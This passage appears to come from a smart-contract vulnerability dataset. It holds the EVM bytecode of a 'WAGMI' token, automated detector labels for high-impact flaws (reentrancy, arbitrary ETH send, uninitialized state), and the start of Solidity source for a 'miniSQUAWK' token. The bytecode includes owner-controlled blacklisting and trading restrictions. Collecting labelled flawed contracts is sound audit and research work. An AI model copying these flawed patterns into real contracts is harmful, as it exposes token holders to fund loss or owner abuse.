} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280600881526020017f5741474d49efb88f000000000000000000000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613d0c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227e9092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233e565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612439565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5741474d49000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124bd565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550674563918244f400006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea000006127a790919063ffffffff16565b61282d90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d826024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cc96022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5d6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7c6023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d346029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bb57601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea357600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f475750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5057600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120515750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120695750601360179054906101000a900460ff165b156121015742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120b957600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210c30610ae2565b9050601360159054906101000a900460ff161580156121795750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121915750601360169054906101000a900460ff165b156121b95761219f816124bd565b600047905060008111156121b7576121b64761233e565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122625750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226c57600090505b61227884848484612877565b50505050565b600083831115829061232b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f05780820151818401526020810190506122d5565b50505050905090810190601f16801561231d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238e60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123b9573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240a60028461282d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612435573d6000803e3d6000fd5b5050565b6000600a54821115612496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613c9f602a913960400191505060405180910390fd5b60006124a0612ace565b90506124b5818461282d90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f257600080fd5b506040519080825280602002602001820160405280156125215781602001602082028036833780820191505090505b509050308160008151811061253257fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d457600080fd5b505afa1580156125e8573d6000803e3d6000fd5b505050506040513d60208110156125fe57600080fd5b81019080805190602001909291905050508160018151811061261c57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268330601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185c565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274757808201518184015260208101905061272c565b505050509050019650505050505050600060405180830381600087803b15801561277057600080fd5b505af1158015612784573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127ba5760009050612827565b60008284029050828482816127cb57fe5b0414612822576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ceb6021913960400191505060405180910390fd5b809150505b92915050565b600061286f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612af9565b905092915050565b8061288557612884612bbf565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129285750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293d57612938848484612c02565b612aba565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156129e05750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156129f5576129f0848484612e62565b612ab9565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612a975750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612aac57612aa78484846130c2565b612ab8565b612ab78484846133b7565b5b5b5b80612ac857612ac7613582565b5b50505050565b6000806000612adb613596565b91509150612af2818361282d90919063ffffffff16565b9250505090565b60008083118290612ba5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b6a578082015181840152602081019050612b4f565b50505050905090810190601f168015612b975780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bb157fe5b049050809150509392505050565b6000600c54148015612bd357506000600d54145b15612bdd57612c00565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c1487613843565b955095509550955095509550612c7287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d0786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9c85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612de88161397d565b612df28483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e7487613843565b955095509550955095509550612ed286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f6783600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130488161397d565b6130528483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130d487613843565b95509550955095509550955061313287600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131c786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061333d8161397d565b6133478483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133c987613843565b95509550955095509550955061342786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138ab90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134bc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135088161397d565b6135128483613b22565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156137f8578260026000600984815481106135d057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136b7575081600360006009848154811061364f57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136d557600a54683635c9adc5dea000009450945050505061383f565b61375e60026000600984815481106136e957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138ab90919063ffffffff16565b92506137e9600360006009848154811061377457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138ab90919063ffffffff16565b915080806001019150506135b1565b50613817683635c9adc5dea00000600a5461282d90919063ffffffff16565b82101561383657600a54683635c9adc5dea0000093509350505061383f565b81819350935050505b9091565b60008060008060008060008060006138608a600c54600d54613b5c565b9250925092506000613870612ace565b905060008060006138838e878787613bf2565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006138ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061227e565b905092915050565b600080828401905083811015613973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613987612ace565b9050600061399e82846127a790919063ffffffff16565b90506139f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b1d57613ad983600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138f590919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b3782600a546138ab90919063ffffffff16565b600a81905550613b5281600b546138f590919063ffffffff16565b600b819055505050565b600080600080613b886064613b7a888a6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bb26064613ba4888b6127a790919063ffffffff16565b61282d90919063ffffffff16565b90506000613bdb82613bcd858c6138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c0b85896127a790919063ffffffff16565b90506000613c2286896127a790919063ffffffff16565b90506000613c3987896127a790919063ffffffff16565b90506000613c6282613c5485876138ab90919063ffffffff16565b6138ab90919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212208518270d9caab245aae6cbde18e948b731f9073afbf51cfd9f125a01552b98f864736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 322 |
0x30d5c8c89116c5bc30c1e2449bb5d7517ac1b9b1 | /**
*Submitted for verification at Etherscan.io on 2022-04-14
*/
/**
miniSQUAWK - https://t.me/miniSQUAWK
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
